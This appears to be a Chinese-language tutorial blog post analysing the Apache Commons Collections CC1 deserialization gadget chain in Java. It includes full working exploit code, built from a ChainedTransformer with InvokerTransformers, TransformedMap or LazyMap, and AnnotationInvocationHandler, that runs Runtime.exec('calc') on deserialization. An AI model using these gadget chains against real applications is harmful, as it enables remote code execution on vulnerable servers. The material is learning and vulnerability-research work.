0%

java_cc链1

java_cc链1

组件介绍

Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。

作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化漏洞的普遍性和严重性。

Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。

环境

  • CommonsCollections <= 3.2.1
  • java < 8u71

调用栈

1
2
3
4
5
6
7
8
->AnnotationInvocationHandler.readObject()
->mapProxy.entrySet().iterator() //动态代理类
->AnnotationInvocationHandler.invoke()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………

CC链 利用过程分析

Transformer接口

1
2
3
4
5
package org.apache.commons.collections;

public interface Transformer {
Object transform(Object var1);
}

提供了一个对象转换方法transform(接收一个对象,然后对对象作一些操作并输出)

ctrl+alt+B可以快速查看哪些类实现了该接口

看一些重要的类

ConstantTransformer类

关键代码如下

1
2
3
public Object transform(Object input) {
return this.iConstant;
}

接受一个对象返回一个常量,无论接收什么对象都返回 iConstant

这个常量在构造函数当中

1
2
3
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
ChainedTransformer类

当传⼊的参数是⼀个数组的时候,就开始循环读取,对每个参数调⽤ transform ⽅法,从⽽构造出 ⼀条链。

它赋值时会传入一个要调用方法的数组,然后将传入的方法链式(前一个的输出作后一个的输入)调用。

1
2
3
4
5
6
7
8
9
10
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

InvokerTransformer类

我们先看一下它的 transform 方法,传入一个对象,然后反射调用。方法值,参数类型,参数都是可控的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}

为什么说是可控的呢?我们看它的构造方法就会明白。

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

例子1

利用该方法弹出计算器

1
2
3
4
5
6
7
8
import org.apache.commons.collections.functors.InvokerTransformer;

public class demo01 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
}
}

这里为 InvokerTransformer 类中的 transform 方法传入Runtime实例,同时通过构造方法传入了exec方法以及需要的参数类型(String.class)和参数值(calc),我们之前提到了 transform 方法中的反射调用,所以成功弹出计算器。

所以我们下一步就需要向上一层寻找谁调用了InvokerTransformer 类中的 transform 方法

右键 Find Usages 查看调用,寻找不同名字调用的 transform 方法,如果是transform 再调用 transform 是没有意义的,我们最后的目标是要回到 readObject 中。

最终是可以发现Map类中可以入手的(前辈们找到的)

TransformedMap类

该类有这样一个方法

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

构造方法

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

我们可以根据构造函数理解一下TransformedMap 的功能,接收一个Map进来,分别对 key 和 Value 进行一些操作。

因为构造方法是 protected 保护方法

所以我们可以找到在该类中调用它的方法 decorate

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

AbstractInputCheckedMapDecorator类

我们再寻找那个方法调用了checkSetValue 方法。只有一处调用,setValue 方法调用了 checkSetValue。

唯一一处调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

我们可以发现 AbstractInputCheckedMapDecorator 是 TransformedMap的父类。

这里需要我们理解一下(再去翻代码是有一些繁琐的)

MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法。

TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map时,setValue方法也就执行了。(Entry接口是Map接口中的一个接口,而Entry方法中含有setValue函数)

发现这一点的话,我们就可以通过遍历Map来触发代码的执行。

例子2

写一个例子帮助理解一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;


public class demo01 {
public static void main(String[] args) throws Exception {

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

// 以下步骤就相当于 invokerTransformer.transform(runtime);
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

// 遍历Map——checkSetValue(Object value)只处理了value,所以我们只需要将runtime传入value即可
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}

}
}

AnnotationInvocationHandler类

回到本职工作,我们再寻找谁调用的setValue 方法,还是不同名的方法调用。

可以在这个类中发现它的readObject方法调用了setvalue方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}

回归正题

接下来我们分析 AnnotationInvocationHandler 类,需要注意的时他不是public,只能在所属包下访问到,所以我们通过反射获取。

先看一下构造函数,接收两个参数 class对象(注解)和map对象,这个map是我们可以控制的,可以放置我们构造好的map。

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

例子3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;


public class demo01 {
public static void main(String[] args) throws Exception {

//演示demo,省略部分代码,通过以下代码我们就可以获得AnnotationInvocationHandler对象

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//创建构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
//保证可以访问到
annotationInvocationHandlerConstructor.setAccessible(true);
//实例化传参,注解和构造好的Map
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);


//正常序列化与反序列化
serialize(o);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class demo01 {
public static void main(String[] args) throws Exception {

// //正常获取runtime实例
// Runtime runtime = Runtime.getRuntime();

// //反射获取 runtime实例,并执行代码
// Class c = Runtime.class;
// Method getRuntimeMethod = c.getMethod("getRuntime", null);
// Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(runtime,"calc");

// //InvokerTransformer方法获取runtime实例,并执行代码
// Method getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

//通过ChainedTransformer实现 InvokerTransformer方法获取runtime实例,并执行代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);


HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);




Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//创建构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
//保证可以访问到
annotationInvocationHandlerConstructor.setAccessible(true);
//实例化传参,注解和构造好的Map
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);

serialize(o);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

这个未成功

还有这样一个payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class demo01 {

public static void main(String[] args) {

//Transformer数组
System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true");
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

//ChainedTransformer实例
Transformer chainedTransformer = new ChainedTransformer(transformers);

//LazyMap实例
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

try {
//反射获取AnnotationInvocationHandler实例
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);

//动态代理类,设置一个D代理对象,为了触发 AnnotationInvocationHandler#invoke
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Retention.class, mapProxy);

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();

//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();

} catch (Exception e) {
e.printStackTrace();
}

}

}

这个payload是利用动态代理触发AnnotationInvocationHandler的invoke方法从而调用LazyMap的get方法实现的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}